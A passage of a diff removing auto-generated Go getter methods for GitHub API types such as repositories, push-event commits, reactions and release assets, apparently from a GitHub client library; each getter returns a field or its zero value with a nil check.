- } - return *p.Size -} - -// GetAuthor returns the Author field. -func (p *PushEventCommit) GetAuthor() *CommitAuthor { - if p == nil { - return nil - } - return p.Author -} - -// GetCommitter returns the Committer field. -func (p *PushEventCommit) GetCommitter() *CommitAuthor { - if p == nil { - return nil - } - return p.Committer -} - -// GetDistinct returns the Distinct field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetDistinct() bool { - if p == nil || p.Distinct == nil { - return false - } - return *p.Distinct -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetID() string { - if p == nil || p.ID == nil { - return "" - } - return *p.ID -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetTimestamp returns the Timestamp field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetTimestamp() Timestamp { - if p == nil || p.Timestamp == nil { - return Timestamp{} - } - return *p.Timestamp -} - -// GetTreeID returns the TreeID field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetTreeID() string { - if p == nil || p.TreeID == nil { - return "" - } - return *p.TreeID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PushEventCommit) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (p *PushEventRepoOwner) GetEmail() string { - if p == nil || p.Email == nil { - return "" - } - return *p.Email -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *PushEventRepoOwner) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetArchiveURL returns the ArchiveURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetArchiveURL() string { - if p == nil || p.ArchiveURL == nil { - return "" - } - return *p.ArchiveURL -} - -// GetCloneURL returns the CloneURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetCloneURL() string { - if p == nil || p.CloneURL == nil { - return "" - } - return *p.CloneURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetDefaultBranch returns the DefaultBranch field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetDefaultBranch() string { - if p == nil || p.DefaultBranch == nil { - return "" - } - return *p.DefaultBranch -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetDescription() string { - if p == nil || p.Description == nil { - return "" - } - return *p.Description -} - -// GetFork returns the Fork field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetFork() bool { - if p == nil || p.Fork == nil { - return false - } - return *p.Fork -} - -// GetForksCount returns the ForksCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetForksCount() int { - if p == nil || p.ForksCount == nil { - return 0 - } - return *p.ForksCount -} - -// GetFullName returns the FullName field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetFullName() string { - if p == nil || p.FullName == nil { - return "" - } - return *p.FullName -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetGitURL() string { - if p == nil || p.GitURL == nil { - return "" - } - return *p.GitURL -} - -// GetHasDownloads returns the HasDownloads field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasDownloads() bool { - if p == nil || p.HasDownloads == nil { - return false - } - return *p.HasDownloads -} - -// GetHasIssues returns the HasIssues field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasIssues() bool { - if p == nil || p.HasIssues == nil { - return false - } - return *p.HasIssues -} - -// GetHasPages returns the HasPages field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasPages() bool { - if p == nil || p.HasPages == nil { - return false - } - return *p.HasPages -} - -// GetHasWiki returns the HasWiki field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasWiki() bool { - if p == nil || p.HasWiki == nil { - return false - } - return *p.HasWiki -} - -// GetHomepage returns the Homepage field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHomepage() string { - if p == nil || p.Homepage == nil { - return "" - } - return *p.Homepage -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetLanguage returns the Language field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetLanguage() string { - if p == nil || p.Language == nil { - return "" - } - return *p.Language -} - -// GetMasterBranch returns the MasterBranch field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetMasterBranch() string { - if p == nil || p.MasterBranch == nil { - return "" - } - return *p.MasterBranch -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetOpenIssuesCount returns the OpenIssuesCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetOpenIssuesCount() int { - if p == nil || p.OpenIssuesCount == nil { - return 0 - } - return *p.OpenIssuesCount -} - -// GetOrganization returns the Organization field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetOrganization() string { - if p == nil || p.Organization == nil { - return "" - } - return *p.Organization -} - -// GetOwner returns the Owner field. -func (p *PushEventRepository) GetOwner() *User { - if p == nil { - return nil - } - return p.Owner -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetPrivate() bool { - if p == nil || p.Private == nil { - return false - } - return *p.Private -} - -// GetPullsURL returns the PullsURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetPullsURL() string { - if p == nil || p.PullsURL == nil { - return "" - } - return *p.PullsURL -} - -// GetPushedAt returns the PushedAt field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetPushedAt() Timestamp { - if p == nil || p.PushedAt == nil { - return Timestamp{} - } - return *p.PushedAt -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetSize() int { - if p == nil || p.Size == nil { - return 0 - } - return *p.Size -} - -// GetSSHURL returns the SSHURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetSSHURL() string { - if p == nil || p.SSHURL == nil { - return "" - } - return *p.SSHURL -} - -// GetStargazersCount returns the StargazersCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetStargazersCount() int { - if p == nil || p.StargazersCount == nil { - return 0 - } - return *p.StargazersCount -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetStatusesURL() string { - if p == nil || p.StatusesURL == nil { - return "" - } - return *p.StatusesURL -} - -// GetSVNURL returns the SVNURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetSVNURL() string { - if p == nil || p.SVNURL == nil { - return "" - } - return *p.SVNURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetWatchersCount returns the WatchersCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetWatchersCount() int { - if p == nil || p.WatchersCount == nil { - return 0 - } - return *p.WatchersCount -} - -// GetCore returns the Core field. -func (r *RateLimits) GetCore() *Rate { - if r == nil { - return nil - } - return r.Core -} - -// GetSearch returns the Search field. -func (r *RateLimits) GetSearch() *Rate { - if r == nil { - return nil - } - return r.Search -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (r *Reaction) GetContent() string { - if r == nil || r.Content == nil { - return "" - } - return *r.Content -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *Reaction) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *Reaction) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetUser returns the User field. -func (r *Reaction) GetUser() *User { - if r == nil { - return nil - } - return r.User -} - -// GetConfused returns the Confused field if it's non-nil, zero value otherwise. -func (r *Reactions) GetConfused() int { - if r == nil || r.Confused == nil { - return 0 - } - return *r.Confused -} - -// GetHeart returns the Heart field if it's non-nil, zero value otherwise. -func (r *Reactions) GetHeart() int { - if r == nil || r.Heart == nil { - return 0 - } - return *r.Heart -} - -// GetHooray returns the Hooray field if it's non-nil, zero value otherwise. -func (r *Reactions) GetHooray() int { - if r == nil || r.Hooray == nil { - return 0 - } - return *r.Hooray -} - -// GetLaugh returns the Laugh field if it's non-nil, zero value otherwise. -func (r *Reactions) GetLaugh() int { - if r == nil || r.Laugh == nil { - return 0 - } - return *r.Laugh -} - -// GetMinusOne returns the MinusOne field if it's non-nil, zero value otherwise. -func (r *Reactions) GetMinusOne() int { - if r == nil || r.MinusOne == nil { - return 0 - } - return *r.MinusOne -} - -// GetPlusOne returns the PlusOne field if it's non-nil, zero value otherwise. -func (r *Reactions) GetPlusOne() int { - if r == nil || r.PlusOne == nil { - return 0 - } - return *r.PlusOne -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (r *Reactions) GetTotalCount() int { - if r == nil || r.TotalCount == nil { - return 0 - } - return *r.TotalCount -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *Reactions) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *Reference) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetObject returns the Object field. -func (r *Reference) GetObject() *GitObject { - if r == nil { - return nil - } - return r.Object -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (r *Reference) GetRef() string { - if r == nil || r.Ref == nil { - return "" - } - return *r.Ref -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *Reference) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetBrowserDownloadURL returns the BrowserDownloadURL field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetBrowserDownloadURL() string { - if r == nil || r.BrowserDownloadURL == nil { - return "" - } - return *r.BrowserDownloadURL -} - -// GetContentType returns the ContentType field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetContentType() string { - if r == nil || r.ContentType == nil { - return "" - } - return *r.ContentType -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetDownloadCount returns the DownloadCount field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetDownloadCount() int { - if r == nil || r.DownloadCount == nil { - return 0 - } - return *r.DownloadCount -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetLabel returns the Label field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetLabel() string { - if r == nil || r.Label == nil { - return "" - } - return *r.Label -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetState() string { - if r == nil || r.State == nil { - return "" - } - return *r.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetUpdatedAt() Timestamp { - if r == nil || r.UpdatedAt == nil { - return Timestamp{} - } - return *r.UpdatedAt -} - -// GetUploader returns the Uploader field. -func (r *ReleaseAsset) GetUploader() *User { - if r == nil { - return nil - } - return r.Uploader -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *ReleaseEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetInstallation returns the Installation field. -func (r *ReleaseEvent) GetInstallation() *Installation { - if r == nil { - return nil - } - return r.Installation -} - -// GetRelease returns the Release field. -func (r *ReleaseEvent) GetRelease() *RepositoryRelease { - if r == nil { - return nil - } - return r.Release -} - -// GetRepo returns the Repo field. -func (r *ReleaseEvent) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetSender returns the Sender field. -func (r *ReleaseEvent) GetSender() *User { - if r == nil { - return nil - } - return r.Sender -} - -// GetFrom returns the From field if it's non-nil, zero value otherwise. -func (r *Rename) GetFrom() string { - if r == nil || r.From == nil { - return "" - } - return *r.From -} - -// GetTo returns the To field if it's non-nil, zero value otherwise. -func (r *Rename) GetTo() string { - if r == nil || r.To == nil { - return "" - } - return *r.To -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (r *RepositoriesSearchResult) GetIncompleteResults() bool { - if r == nil || r.IncompleteResults == nil { - return false - } - return *r.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (r *RepositoriesSearchResult) GetTotal() int { - if r == nil || r.Total == nil { - return 0 - } - return *r.Total -} - -// GetAllowMergeCommit returns the AllowMergeCommit field if it's non-nil, zero value otherwise. -func (r *Repository) GetAllowMergeCommit() bool { - if r == nil || r.AllowMergeCommit == nil { - return false - } - return *r.AllowMergeCommit -} - -// GetAllowRebaseMerge returns the AllowRebaseMerge field if it's non-nil, zero value otherwise. -func (r *Repository) GetAllowRebaseMerge() bool { - if r == nil || r.AllowRebaseMerge == nil { - return false - } - return *r.AllowRebaseMerge -} - -// GetAllowSquashMerge returns the AllowSquashMerge field if it's non-nil, zero value otherwise. -func (r *Repository) GetAllowSquashMerge() bool { - if r == nil || r.AllowSquashMerge == nil { - return false - } - return *r.AllowSquashMerge -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (r *Repository) GetArchived() bool { - if r == nil || r.Archived == nil { - return false - } - return *r.Archived -} - -// GetArchiveURL returns the ArchiveURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetArchiveURL() string { - if r == nil || r.ArchiveURL == nil { - return "" - } - return *r.ArchiveURL -} - -// GetAssigneesURL returns the AssigneesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetAssigneesURL() string { - if r == nil || r.AssigneesURL == nil { - return "" - } - return *r.AssigneesURL -} - -// GetAutoInit returns the AutoInit field if it's non-nil, zero value otherwise. -func (r *Repository) GetAutoInit() bool { - if r == nil || r.AutoInit == nil { - return false - } - return *r.AutoInit -} - -// GetBlobsURL returns the BlobsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetBlobsURL() string { - if r == nil || r.BlobsURL == nil { - return "" - } - return *r.BlobsURL -} - -// GetBranchesURL returns the BranchesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetBranchesURL() string { - if r == nil || r.BranchesURL == nil { - return "" - } - return *r.BranchesURL -} - -// GetCloneURL returns the CloneURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCloneURL() string { - if r == nil || r.CloneURL == nil { - return "" - } - return *r.CloneURL -} - -// GetCodeOfConduct returns the CodeOfConduct field. -func (r *Repository) GetCodeOfConduct() *CodeOfConduct { - if r == nil { - return nil - } - return r.CodeOfConduct -} - -// GetCollaboratorsURL returns the CollaboratorsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCollaboratorsURL() string { - if r == nil || r.CollaboratorsURL == nil { - return "" - } - return *r.CollaboratorsURL -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCommentsURL() string { - if r == nil || r.CommentsURL == nil { - return "" - } - return *r.CommentsURL -} - -// GetCommitsURL returns the CommitsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCommitsURL() string { - if r == nil || r.CommitsURL == nil { - return "" - } - return *r.CommitsURL -} - -// GetCompareURL returns the CompareURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCompareURL() string { - if r == nil || r.CompareURL == nil { - return "" - } - return *r.CompareURL -} - -// GetContentsURL returns the ContentsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetContentsURL() string { - if r == nil || r.ContentsURL == nil { - return "" - } - return *r.ContentsURL -} - -// GetContributorsURL returns the ContributorsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetContributorsURL() string { - if r == nil || r.ContributorsURL == nil { - return "" - } - return *r.ContributorsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *Repository) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetDefaultBranch returns the DefaultBranch field if it's non-nil, zero value otherwise. -func (r *Repository) GetDefaultBranch() string { - if r == nil || r.DefaultBranch == nil { - return "" - } - return *r.DefaultBranch -} - -// GetDeploymentsURL returns the DeploymentsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetDeploymentsURL() string { - if r == nil || r.DeploymentsURL == nil { - return "" - } - return *r.DeploymentsURL -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (r *Repository) GetDescription() string { - if r == nil || r.Description == nil { - return "" - } - return *r.Description -} - -// GetDisabled returns the Disabled field if it's non-nil, zero value otherwise. -func (r *Repository) GetDisabled() bool { - if r == nil || r.Disabled == nil { - return false - } - return *r.Disabled -} - -// GetDownloadsURL returns the DownloadsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetDownloadsURL() string { - if r == nil || r.DownloadsURL == nil { - return "" - } - return *r.DownloadsURL -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetEventsURL() string { - if r == nil || r.EventsURL == nil { - return "" - } - return *r.EventsURL -} - -// GetFork returns the Fork field if it's non-nil, zero value otherwise. -func (r *Repository) GetFork() bool { - if r == nil || r.Fork == nil { - return false - } - return *r.Fork -} - -// GetForksCount returns the ForksCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetForksCount() int { - if r == nil || r.ForksCount == nil { - return 0 - } - return *r.ForksCount -} - -// GetForksURL returns the ForksURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetForksURL() string { - if r == nil || r.ForksURL == nil { - return "" - } - return *r.ForksURL -} - -// GetFullName returns the FullName field if it's non-nil, zero value otherwise. -func (r *Repository) GetFullName() string { - if r == nil || r.FullName == nil { - return "" - } - return *r.FullName -} - -// GetGitCommitsURL returns the GitCommitsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitCommitsURL() string { - if r == nil || r.GitCommitsURL == nil { - return "" - } - return *r.GitCommitsURL -} - -// GetGitignoreTemplate returns the GitignoreTemplate field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitignoreTemplate() string { - if r == nil || r.GitignoreTemplate == nil { - return "" - } - return *r.GitignoreTemplate -} - -// GetGitRefsURL returns the GitRefsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitRefsURL() string { - if r == nil || r.GitRefsURL == nil { - return "" - } - return *r.GitRefsURL -} - -// GetGitTagsURL returns the GitTagsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitTagsURL() string { - if r == nil || r.GitTagsURL == nil { - return "" - } - return *r.GitTagsURL -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitURL() string { - if r == nil || r.GitURL == nil { - return "" - } - return *r.GitURL -} - -// GetHasDownloads returns the HasDownloads field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasDownloads() bool { - if r == nil || r.HasDownloads == nil { - return false - } - return *r.HasDownloads -} - -// GetHasIssues returns the HasIssues field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasIssues() bool { - if r == nil || r.HasIssues == nil { - return false - } - return *r.HasIssues -} - -// GetHasPages returns the HasPages field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasPages() bool { - if r == nil || r.HasPages == nil { - return false - } - return *r.HasPages -} - -// GetHasProjects returns the HasProjects field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasProjects() bool { - if r == nil || r.HasProjects == nil { - return false - } - return *r.HasProjects -} - -// GetHasWiki returns the HasWiki field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasWiki() bool { - if r == nil || r.HasWiki == nil { - return false - } - return *r.HasWiki -} - -// GetHomepage returns the Homepage field if it's non-nil, zero value otherwise. -func (r *Repository) GetHomepage() string { - if r == nil || r.Homepage == nil { - return "" - } - return *r.Homepage -} - -// GetHooksURL returns the HooksURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetHooksURL() string { - if r == nil || r.HooksURL == nil { - return "" - } - return *r.HooksURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *Repository) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetIssueCommentURL returns the IssueCommentURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetIssueCommentURL() string { - if r == nil || r.IssueCommentURL == nil { - return "" - } - return *r.IssueCommentURL -} - -// GetIssueEventsURL returns the IssueEventsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetIssueEventsURL() string { - if r == nil || r.IssueEventsURL == nil { - return "" - } - return *r.IssueEventsURL -} - -// GetIssuesURL returns the IssuesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetIssuesURL() string { - if r == nil || r.IssuesURL == nil { - return "" - } - return *r.IssuesURL -} - -// GetIsTemplate returns the IsTemplate field if it's non-nil, zero value otherwise. -func (r *Repository) GetIsTemplate() bool { - if r == nil || r.IsTemplate == nil { - return false - } - return *r.IsTemplate -} - -// GetKeysURL returns the KeysURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetKeysURL() string { - if r == nil || r.KeysURL == nil { - return "" - } - return *r.KeysURL -} - -// GetLabelsURL returns the LabelsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetLabelsURL() string { - if r == nil || r.LabelsURL == nil { - return "" - } - return *r.LabelsURL -} - -// GetLanguage returns the Language field if it's non-nil, zero value otherwise. -func (r *Repository) GetLanguage() string { - if r == nil || r.Language == nil { - return "" - } - return *r.Language -} - -// GetLanguagesURL returns the LanguagesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetLanguagesURL() string { - if r == nil || r.LanguagesURL == nil { - return "" - } - return *r.LanguagesURL -} - -// GetLicense returns the License field. -func (r *Repository) GetLicense() *License { - if r == nil { - return nil - } - return r.License -} - -// GetLicenseTemplate returns the LicenseTemplate field if it's non-nil, zero value otherwise. -func (r *Repository) GetLicenseTemplate() string { - if r == nil || r.LicenseTemplate == nil { - return "" - } - return *r.LicenseTemplate -} - -// GetMasterBranch returns the MasterBranch field if it's non-nil, zero value otherwise. -func (r *Repository) GetMasterBranch() string { - if r == nil || r.MasterBranch == nil { - return "" - } - return *r.MasterBranch -} - -// GetMergesURL returns the MergesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetMergesURL() string { - if r == nil || r.MergesURL == nil { - return "" - } - return *r.MergesURL -} - -// GetMilestonesURL returns the MilestonesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetMilestonesURL() string { - if r == nil || r.MilestonesURL == nil { - return "" - } - return *r.MilestonesURL -} - -// GetMirrorURL returns the MirrorURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetMirrorURL() string { - if r == nil || r.MirrorURL == nil { - return "" - } - return *r.MirrorURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *Repository) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetNetworkCount returns the NetworkCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetNetworkCount() int { - if r == nil || r.NetworkCount == nil { - return 0 - } - return *r.NetworkCount -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *Repository) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetNotificationsURL returns the NotificationsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetNotificationsURL() string { - if r == nil || r.NotificationsURL == nil { - return "" - } - return *r.NotificationsURL -} - -// GetOpenIssuesCount returns the OpenIssuesCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetOpenIssuesCount() int { - if r == nil || r.OpenIssuesCount == nil { - return 0 - } - return *r.OpenIssuesCount -} - -// GetOrganization returns the Organization field. -func (r *Repository) GetOrganization() *Organization { - if r == nil { - return nil - } - return r.Organization -} - -// GetOwner returns the Owner field. -func (r *Repository) GetOwner() *User { - if r == nil { - return nil - } - return r.Owner -} - -// GetParent returns the Parent field. -func (r *Repository) GetParent() *Repository { - if r == nil { - return nil - } - return r.Parent -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (r *Repository) GetPermissions() map[string]bool { - if r == nil || r.Permissions == nil { - return map[string]bool{} - } - return *r.Permissions -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (r *Repository) GetPrivate() bool { - if r == nil || r.Private == nil { - return false - } - return *r.Private -} - -// GetPullsURL returns the PullsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetPullsURL() string { - if r == nil || r.PullsURL == nil { - return "" - } - return *r.PullsURL -} - -// GetPushedAt returns the PushedAt field if it's non-nil, zero value otherwise. -func (r *Repository) GetPushedAt() Timestamp { - if r == nil || r.PushedAt == nil { - return Timestamp{} - } - return *r.PushedAt -} - -// GetReleasesURL returns the ReleasesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetReleasesURL() string { - if r == nil || r.ReleasesURL == nil { - return "" - } - return *r.ReleasesURL -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *Repository) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetSource returns the Source field. -func (r *Repository) GetSource() *Repository { - if r == nil { - return nil - } - return r.Source -} - -// GetSSHURL returns the SSHURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSSHURL() string { - if r == nil || r.SSHURL == nil { - return "" - } - return *r.SSHURL -} - -// GetStargazersCount returns the StargazersCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetStargazersCount() int { - if r == nil || r.StargazersCount == nil { - return 0 - } - return *r.StargazersCount -} - -// GetStargazersURL returns the StargazersURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetStargazersURL() string { - if r == nil || r.StargazersURL == nil { - return "" - } - return *r.StargazersURL -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetStatusesURL() string { - if r == nil || r.StatusesURL == nil { - return "" - } - return *r.StatusesURL -} - -// GetSubscribersCount returns the SubscribersCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetSubscribersCount() int { - if r == nil || r.SubscribersCount == nil { - return 0 - } - return *r.SubscribersCount -} - -// GetSubscribersURL returns the SubscribersURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSubscribersURL() string { - if r == nil || r.SubscribersURL == nil { - return "" - } - return *r.SubscribersURL -} - -// GetSubscriptionURL returns the SubscriptionURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSubscriptionURL() string { - if r == nil || r.SubscriptionURL == nil { - return "" - } - return *r.SubscriptionURL -} - -// GetSVNURL returns the SVNURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSVNURL() string { - if r == nil || r.SVNURL == nil { - return "" - } - return *r.SVNURL -} - -// GetTagsURL returns the TagsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetTagsURL() string { - if r == nil || r.TagsURL == nil { - return "" - } - return *r.TagsURL -} - -// GetTeamID returns the TeamID field if it's non-nil, zero value otherwise. -func (r *Repository) GetTeamID() int64 { - if r == nil || r.TeamID == nil { - return 0 - } - return *r.TeamID -} - -// GetTeamsURL returns the TeamsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetTeamsURL() string { - if r == nil || r.TeamsURL == nil { - return "" - } - return *r.TeamsURL -} - -// GetTemplateRepository returns the TemplateRepository field. -func (r *Repository) GetTemplateRepository() *Repository { - if r == nil { - return nil - } - return r.TemplateRepository -} - -// GetTreesURL returns the TreesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetTreesURL() string { - if r == nil || r.TreesURL == nil { - return "" - } - return *r.TreesURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *Repository) GetUpdatedAt() 